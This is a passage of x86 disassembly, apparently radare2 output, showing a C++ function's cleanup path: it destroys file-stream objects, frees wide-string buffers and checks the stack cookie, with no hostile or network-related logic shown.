or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x30c], eax
lea ecx, [ebp - 0x2f8]
call fcn.004347b0
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x30c], eax
lea eax, [ebp - 0x298]
mov byte [ebp - 4], 0x2c
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00478cbf
mov byte [ebp - 4], 0x24
add esp, 4
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x420a08
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4209fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x530]
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
call fcn.00420ea0
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x8c]
cmp edx, 8
jb 0x420a74
mov ecx, dword [ebp - 0xa0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420a6a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
call fcn.00420ea0
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x420ada
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420ad0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x6a0]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00420ea0
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x420b37
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420b2d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.00420d70
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3c4], eax
lea ecx, [ebp - 0x3b0]
call fcn.004347b0
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x3c4], eax
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x2d
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00478cbf
mov byte [ebp - 4], 5
add esp, 4
mov edx, dword [ebp - 0x74]
cmp edx, 8
jb 0x420c0d
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420c03
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x78], 0
mov word [ebp - 0x88], ax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x74], 7
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x478]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x47c], eax
lea ecx, [ebp - 0x468]
call fcn.004347b0
mov eax, dword [ebp - 0x478]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x478]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x47c], eax
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 0x2e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00478cbf
mov edx, dword [ebp - 0x44]
add esp, 4
cmp edx, 8
jb 0x420cd4
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420cca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.00405240
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x420d29
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420d1f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420d62
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004905bb
mov esp, ebp
pop ebp
ret
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
int3